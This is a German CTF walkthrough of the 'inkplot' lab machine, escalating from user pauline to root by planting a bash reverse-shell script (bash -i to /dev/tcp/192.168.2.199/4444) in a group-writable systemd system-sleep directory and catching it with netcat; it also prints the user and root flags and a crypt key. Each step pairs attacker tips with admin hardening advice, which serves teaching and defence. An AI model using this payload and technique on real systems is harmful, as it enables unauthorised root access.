Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
[oh-my-zsh] Would you like to update? [Y/n] y
....
...
..
         __                                     __
  ____  / /_     ____ ___  __  __   ____  _____/ /_
 / __ \/ __ \   / __ `__ \/ / / /  /_  / / ___/ __ \
/ /_/ / / / /  / / / / / / /_/ /    / /_(__  ) / / /
\____/_/ /_/  /_/ /_/ /_/\__, /    /___/____/_/ /_/
                        /____/

Hoorray! Oh My Zsh has been updated!

To keep up with the latest news and updates, follow us on Twitter: [Link: https://twitter.com/ohmyzsh | Ziel: https://twitter.com/ohmyzsh]
Want to get involved in the community? Join our Discord: [Link: https://discord.gg/ohmyzsh | Ziel: https://discord.gg/ohmyzsh]
Get your Oh My Zsh swag at: [Link: https://shop.planetargon.com/collections/oh-my-zsh | Ziel: https://shop.planetargon.com/collections/oh-my-zsh]
╭─pauline@inkplot ~
╰─$

**Analyse:** Nachdem ich SSH-Zugriff als Benutzer `pauline` habe, führe ich grundlegende Systemaufklärung durch, um Privilege Escalation-Vektoren auf Root zu finden. Ich beginne mit der Auflistung der Dateien und Verzeichnisse in Paulines Home-Verzeichnis (`ls -la`) und zeige den Inhalt der Datei `user.txt` an.

**Bewertung:** Die Auflistung zeigt neben den bekannten Konfigurationsdateien auch die Datei `user.txt`. Der Inhalt von `user.txt` ist die User-Flag (`a2c145eb8279c2f920de6871bef794fa`). Dies ist zwar nicht direkt ein PE-Vektor, aber das Erreichen der User-Flag ist ein Meilenstein im Test. Die Datei `keys.json` ist ebenfalls im Verzeichnis vorhanden und hat die Berechtigungen `-rw-r-----`, was bedeutet, dass sie für Paulines Gruppe (pauline) lesbar ist, aber nicht für andere. Da ich jetzt `pauline` bin, kann ich diese Datei lesen.

**Empfehlung (Pentester):** Sammle alle Flags, sobald du auf sie triffst. Setze die Aufklärung im neuen Benutzerkontext fort. Prüfe Dateiberechtigungen sorgfältig auf Dateien, die du zuvor nicht lesen konntest.
**Empfehlung (Admin):** Speichere Flags oder sensible Dateien nicht in Standard-Home-Verzeichnissen. Stelle sicher, dass Dateiberechtigungen korrekt gesetzt sind, um unberechtigten Zugriff zu verhindern.

╭─pauline@inkplot ~
╰─$ ls -la
total 72
drwx---r-x  5 pauline pauline 4096 Jun 14 23:47 .
drwxr-xr-x  4 root    root    4096 Jul 28  2023 ..
-rw-r--r--  1 pauline pauline  220 Jul 22  2023 .bash_logout
-rw-r--r--  1 pauline pauline 3526 Jul 22  2023 .bashrc
-rw-r--r--  1 pauline pauline 1738 Aug  1  2023 cipher.py
-rw-r--r--  1 pauline pauline 3472 Jun 14 23:20 id_rsa_cp.enc.enc
-rw-r--r--  1 pauline pauline 3472 Jun 14 23:19 id_rsa.enc
-rw-r-----  1 pauline pauline   44 Jul 25  2023 keys.json
-rw-------  1 pauline pauline   20 Aug  1  2023 .lesshst
drwxr-xr-x  3 pauline pauline 4096 Jul 22  2023 .local
drwxr-xr-x 13 pauline pauline 4096 Jun 14 23:46 .oh-my-zsh
-rw-r--r--  1 pauline pauline  807 Jul 22  2023 .profile
drwx------  2 pauline pauline 4096 Jul 28  2023 .ssh
-rw-r--r--  1 pauline pauline    0 Jul 25  2023 .sudo_as_admin_successful
-rwx------  1 pauline pauline   33 Jul 24  2023 user.txt
-rw-r--r--  1 pauline pauline   44 Jun 14 23:15 user.txt.enc
-rw-r--r--  1 pauline pauline  169 Jun 14 23:46 .wget-hsts
-rw-------  1 pauline pauline   22 Jun 14 23:47 .zsh_history
-rw-r--r--  1 pauline pauline 3890 Jul 22  2023 .zshrc
╭─pauline@inkplot ~
╰─$ cat user.txt
a2c145eb8279c2f920de6871bef794fa

**Analyse:** Ich zeige den Inhalt der Datei `/home/pauline/keys.json` an, um den Entschlüsselungsschlüssel für das `cipher.py` Skript zu erhalten.

**Bewertung:** Wie bereits in der Analyse der Testphase festgestellt, enthält `keys.json` den kritischen Schlüssel `aLLtBh0BVCFSvfZ203sM`. Mit diesem Schlüssel kann ich nun alle Dateien entschlüsseln, die mit dem `cipher.py` Skript verschlüsselt wurden, und potenziell sensible Informationen im Klartext erhalten.

**Empfehlung (Pentester):** Suche immer nach Schlüsseldateien oder Konfigurationsdateien, die Passwörter oder Schlüssel enthalten, insbesondere im Home-Verzeichnis des aktuellen Benutzers.
**Empfehlung (Admin):** Speichere Schlüssel niemals im Klartext im Dateisystem. Nutze Umgebungsvariablen oder sichere Schlüsselverwaltungssysteme. Setze restriktive Dateiberechtigungen für alle Dateien, die Schlüssel oder Passwörter enthalten.

╭─pauline@inkplot ~
╰─$ cat keys.json
{
    "crypt_key": "aLLtBh0BVCFSvfZ203sM" <-- Entschlüsselungsschlüss gefunden!
}

**Analyse:** Als Benutzer `pauline` prüfe ich erneut die `sudo`-Berechtigungen mit `sudo -l`, um herauszufinden, ob `pauline` Befehle als Root ausführen darf. Dies ist der entscheidende Schritt zur Root Privilege Escalation.

**Bewertung:** Die Ausgabe zeigt, dass der Benutzer `pauline` kein `NOPASSWD`-Eintrag hat (`sudo: a password is required`) und daher ein Passwort eingeben müsste, um `sudo`-Befehle auszuführen. Dies bedeutet, dass ich das Root-Passwort von `pauline` benötige, um den direkten Weg über `sudo` zu nutzen. Obwohl dies eine sicherere Konfiguration ist als bei `leila` und `juan`, bedeutet es, dass dieser Weg für eine *passwortlose* PE blockiert ist.

**Empfehlung (Pentester):** Auch wenn ein `sudo`-Eintrag existiert, prüfe, ob ein Passwort benötigt wird. Wenn ja, suche weiter nach anderen PE-Vektoren, es sei denn, du hast das Passwort des Benutzers.
**Empfehlung (Admin):** Konfiguriere `sudo` so, dass immer ein Passwort für die Ausführung von Befehlen als ein anderer Benutzer benötigt wird, insbesondere als Root.

╭─pauline@inkplot ~
╰─$ sudo -l
[sudo] password for pauline:
sudo: a password is required

**Analyse:** Ich überprüfe meine aktuelle Benutzer-ID und Gruppenzugehörigkeit als Benutzer `pauline`.

**Bewertung:** Die Ausgabe zeigt, dass ich als `uid=1000(pauline)` mit der primären Gruppe `gid=1000(pauline)` angemeldet bin und Mitglied der zusätzlichen Gruppen `100(users)` und `1002(admin)` bin. Die Zugehörigkeit zur Gruppe `admin` ist sehr interessant, da diese Gruppe oft besondere Berechtigungen im Dateisystem oder für bestimmte Systemdienste hat. Dies ist ein vielversprechender Ansatzpunkt für die Privilege Escalation.

**Empfehlung (Pentester):** Prüfe immer die Gruppenzugehörigkeiten eines kompromittierten Benutzers. Suche nach ungewöhnlichen oder privilegierten Gruppen. Analysiere, welche Berechtigungen mit der Zugehörigkeit zu diesen Gruppen einhergehen.
**Empfehlung (Admin):** Weise Benutzer nur den absolut notwendigen Gruppen zu. Vermeide es, normale Benutzer zu administrativen Gruppen wie `admin` oder `sudo` hinzuzufügen, es sei denn, es ist unerlässlich. Führe regelmäßige Überprüfungen der Gruppenzugehörigkeiten durch.

╭─pauline@inkplot ~
╰─$ id
uid=1000(pauline) gid=1000(pauline) groups=1000(pauline),100(users),1002(admin) <-- Mitglied der 'admin' Gruppe!

**Analyse:** Da `pauline` Mitglied der Gruppe `admin` ist, suche ich nach Dateien oder Verzeichnissen im Dateisystem, deren Gruppe `admin` ist, da ich darauf möglicherweise spezielle Berechtigungen habe. Ich verwende den `find`-Befehl, um ab dem Root-Verzeichnis (`/`) nach Dateien oder Verzeichnissen zu suchen, deren Gruppe (`-group`) `admin` ist. Fehlermeldungen (z.B. wegen fehlender Berechtigungen in anderen Verzeichnissen) leite ich nach `/dev/null` um.

**Bewertung:** Der `find`-Befehl findet das Verzeichnis `/usr/lib/systemd/system-sleep`, dessen Gruppe `admin` ist. Dies ist ein hochinteressantes Verzeichnis. Skripte, die in diesem Verzeichnis platziert sind, werden von `systemd` mit Root-Berechtigungen ausgeführt, wenn das System in den Schlafmodus geht oder daraus aufwacht. Wenn die Gruppe `admin` Schreibberechtigungen in diesem Verzeichnis hat, könnte ich dort ein bösartiges Skript ablegen, das dann als Root ausgeführt wird.

**Empfehlung (Pentester):** Wenn ein Benutzer Mitglied einer administrativen Gruppe (wie `admin`) ist, suche sofort nach Dateien oder Verzeichnissen, deren Gruppe diese administrative Gruppe ist (`find / -group 2>/dev/null`) und prüfe die dortigen Berechtigungen. Systemd-Verzeichnisse (`system-sleep`, `systemd/system`, etc.) sind oft interessante Ziele für PE.
**Empfehlung (Admin):** Weise administrative Gruppen (wie `admin`) nur kritischen Verzeichnissen zu und stelle sicher, dass die dortigen Berechtigungen korrekt gesetzt sind (normalerweise sollte nur Root oder die Gruppe Root Schreibzugriff haben). Überprüfe die Berechtigungen von Systemd-Verzeichnissen sorgfältig.

╭─pauline@inkplot ~
╰─$ find / -group admin 2>/dev/null
/usr/lib/systemd/system-sleep <-- Gefundenes Verzeichnis!

**Analyse:** Ich prüfe die Dateiberechtigungen des Verzeichnisses `/usr/lib/systemd/system-sleep` mit `ls -la`.

**Bewertung:** Die Ausgabe zeigt `drwxrwx--- 2 root admin ...`. Das bedeutet, dass der Besitzer (`root`) Lese-, Schreib- und Ausführberechtigungen hat, die Gruppe (`admin`) Lese-, Schreib- und Ausführberechtigungen (`rwx`), und andere keine Berechtigungen (`---`). Da ich als Benutzer `pauline` Mitglied der Gruppe `admin` bin, habe ich **Schreibberechtigungen** in diesem Verzeichnis! Dies ist ein **kritischer Privilege Escalation-Vektor**. Ich kann ein Skript in dieses Verzeichnis kopieren, und es wird beim nächsten Suspend/Resume-Ereignis als Root ausgeführt.

**Empfehlung (Pentester):** Wenn du ein Verzeichnis findest, das einer administrativen Gruppe gehört, zu der dein Benutzer gehört, prüfe sofort die Schreibberechtigungen für die Gruppe. Verzeichnisse unter `/usr/lib/systemd/` sind besonders sensibel. Nutze schreibbare Verzeichnisse, die von Systemdiensten mit Root-Rechten gelesen/ausgeführt werden, um bösartige Skripte zu platzieren.
**Empfehlung (Admin):** **Dringend:** Entferne die Schreibberechtigungen für die Gruppe (`admin`) in kritischen Systemd-Verzeichnissen wie `/usr/lib/systemd/system-sleep`. Normalerweise sollten hier nur Root Lese- und Schreibrechte haben (`chmod 755` oder `750`). Überprüfe die Berechtigungen aller Systemd-Verzeichnisse.

╭─pauline@inkplot ~
╰─$ ls -la /usr/lib/systemd/system-sleep
total 16
drwxrwx---  2 root admin  4096 Aug  2  2023 . <-- Gruppe 'admin' hat Schribberechtigungen!
drwxr-xr-x 14 root root  12288 Jul 28  2023 ..

**Analyse:** Um eine Root-Shell zu erhalten, erstelle ich ein einfaches Bash-Skript namens `root.sh` in meinem `/tmp`-Verzeichnis. Das Skript enthält einen Bash-Reverse-Shell-Payload (`bash -i >& /dev/tcp/192.168.2.199/4444 0>&1`), der eine interaktive Bash-Shell zu meinem Angreifer-System (192.168.2.199) auf Port 4444 schickt. Ich mache das Skript ausführbar (`chmod +x`). Anschließend kopiere ich dieses Skript mit `cp /tmp/root.sh /usr/lib/systemd/system-sleep/` in das schreibbare Systemd-Verzeichnis.

**Bewertung:** Durch das Kopieren des Skripts in dieses Verzeichnis wird es beim nächsten System-Suspend/Resume-Ereignis automatisch von `systemd` als Root ausgeführt. Der Reverse-Shell-Payload in meinem Skript stellt sicher, dass ich eine Root-Shell auf meinem Angreifer-System erhalte, sobald das System in den Schlafmodus geht (oder daraus aufwacht). Dies ist die Ausnutzung des `admin`-Gruppen-Schreibrechte-Vektors zur Erlangung einer Root-Shell.

**Empfehlung (Pentester):** Nutze Verzeichnisse, die von Systemdiensten mit erhöhten Rechten gelesen/ausgeführt werden und in denen deine Gruppe Schreibrechte hat, um bösartige Skripte zu platzieren. Systemd-Service-Dateien oder Suspend/Resume-Skripte sind oft gute Ziele.
**Empfehlung (Admin):** Überprüfe die Berechtigungen von Systemd-Verzeichnissen. Implementiere File Integrity Monitoring (FIM), um Änderungen in kritischen Systemverzeichnissen zu erkennen. Begrenze die Berechtigungen administrativer Gruppen streng.

╭─pauline@inkplot ~
╰─$ echo '#!/bin/bash' > /tmp/root.sh && echo 'bash -i >& /dev/tcp/192.168.2.199/4444 0>&1' >> /tmp/root.sh && chmod +x /tmp/root.sh
╭─pauline@inkplot ~
╰─$ cp /tmp/root.sh /usr/lib/systemd/system-sleep/

**Analyse:** Auf meinem Angreifer-System richte ich einen Netcat-Listener ein, der auf eingehende Verbindungen auf Port 4444 wartet. Ich verwende den Befehl `nc -lvnp 4444`. Dieser Listener wird die Root-Shell vom Zielsystem empfangen, sobald das Skript in `/usr/lib/systemd/system-sleep/` ausgeführt wird (d.h., wenn das System in den Schlafmodus geht).

**Bewertung:** Das Einrichten des Listeners ist ein Standard-Schritt, um eine Reverse Shell zu empfangen. Der Listener ist jetzt aktiv und wartet darauf, dass das Zielsystem das Skript ausführt und die Verbindung zu meiner Maschine aufbaut.

**Empfehlung (Pentester):** Richte deinen Listener ein, bevor du den Exploit auslöst, der eine Reverse Shell initiieren soll. Wähle einen Port, der wahrscheinlich nicht blockiert ist.
**Empfehlung (Admin):** Überwache ausgehende Verbindungen von internen Systemen. Unerwartete ausgehende Verbindungen, insbesondere zu Ports, die nicht für legitime Dienste verwendet werden, können ein starker Indikator für eine kompromittierte Maschine sein, die versucht, eine Reverse Shell zu etablieren.

┌──(root㉿CCat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...

**Analyse:** Ich warte darauf, dass das Zielsystem in den Schlafmodus geht oder aufwacht, um das Skript in `/usr/lib/systemd/system-sleep/` auszulösen. Während ich warte, zeigt die Konsole eine Broadcast-Nachricht an, die signalisiert, dass das System suspendiert wird. Dies ist das Ereignis, das mein Skript auslöst. Auf meinem Netcat-Listener sehe ich eine eingehende Verbindung vom Zielsystem auf Port 4444. Die folgenden typischen Fehlermeldungen bei einer Pseudo-Terminal-Shell erscheinen, und dann ändert sich der Prompt zu `root@inkplot:/#`.

**Bewertung:** Fantastisch! Der Root-Zugriff war erfolgreich! Das Skript in `/usr/lib/systemd/system-sleep/` wurde wie erwartet mit Root-Berechtigungen ausgeführt, und die Reverse Shell wurde initiiert. Der Prompt `root@inkplot:/#` bestätigt, dass ich jetzt eine interaktive Shell mit den höchsten Berechtigungen auf dem Zielsystem habe. Das Ziel der Root Privilege Escalation ist erreicht.

**Empfehlung (Pentester):** Sei geduldig, wenn du auf zeitbasierte oder Event-basierte Trigger für deine Payloads wartest. Überprüfe die System-Logs oder beobachte Broadcast-Nachrichten, die solche Events signalisieren könnten. Nach Erhalt der Root-Shell sofort die Root-Flag sichern.
**Empfehlung (Admin):** Die Kompromittierung des Systems ist vollständig. Führe eine gründliche forensische Analyse durch, um den genauen Zeitpunkt und Vektor der Kompromittierung zu identifizieren. Beseitige das bösartige Skript in `/usr/lib/systemd/system-sleep/` und setze die Dateiberechtigungen korrekt. Überprüfe alle Systemd-Verzeichnisse und andere kritische Bereiche auf ungewollte Dateien oder Skripte. Setze das System neu auf einem sauberen Image auf und implementiere die empfohlenen Härtungsmaßnahmen.

╭─pauline@inkplot ~
╰─$
Broadcast message from root@inkplot (Sat 2025-06-14 23:59:12 CEST):

The system will suspend now!
┌──(root㉿CCat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.43] 54462
bash: cannot set terminal process group (24173): Inappropriate ioctl for device
bash: no job control in this shell
root@inkplot:/# <-- Root Shell erfolgreich!

**Analyse:** Mit der Root-Shell navigiere ich zum `/root`-Verzeichnis, da dort üblicherweise die Root-Flag gespeichert ist. Ich liste den Inhalt auf (`ls`) und finde die Datei `root.txt`. Anschließend zeige ich den Inhalt dieser Datei mit `cat root.txt` an, um die Root-Flag zu erhalten.

**Bewertung:** Fantastisch! Der Inhalt von `root.txt` ist die Root-Flag: `4d9089c262be4a03e3ebfdaff0a8f7c6`. Die erfolgreiche Erlangung der User-Flag und der Root-Flag bestätigt, dass ich das System vollständig kompromittiert und Root-Zugriff erlangt habe.

**Empfehlung (Pentester):** Sobald du Root-Zugriff hast, sichere sofort die Root-Flag. Das ist das ultimative Ziel der meisten Pentests und CTFs. Dokumentiere den Flag-Wert präzise.
**Empfehlung (Admin):** Speichere sensitive Dateien wie Root-Flags oder Produktionsdaten nicht in Standard-Home-Verzeichnissen oder `/root`. Implementiere strenge Zugriffskontrollen und überwache Zugriffe auf privilegierte Verzeichnisse. Das System ist kompromittiert und muss gründlich untersucht und neu aufgesetzt werden.

root@inkplot:/# cd /root
root@inkplot:/root# ls
root.txt
root@inkplot:/root# cat root.txt
4d9089c262be4a03e3ebfdaff0a8f7c6 <-- Die Root Flag!

Flags

cat /home/pauline/user.txt
a2c145eb8279c2f920de6871bef794fa
cat /root/root.txt
4d9089c262be4a03e3ebfdaff0a8f7c6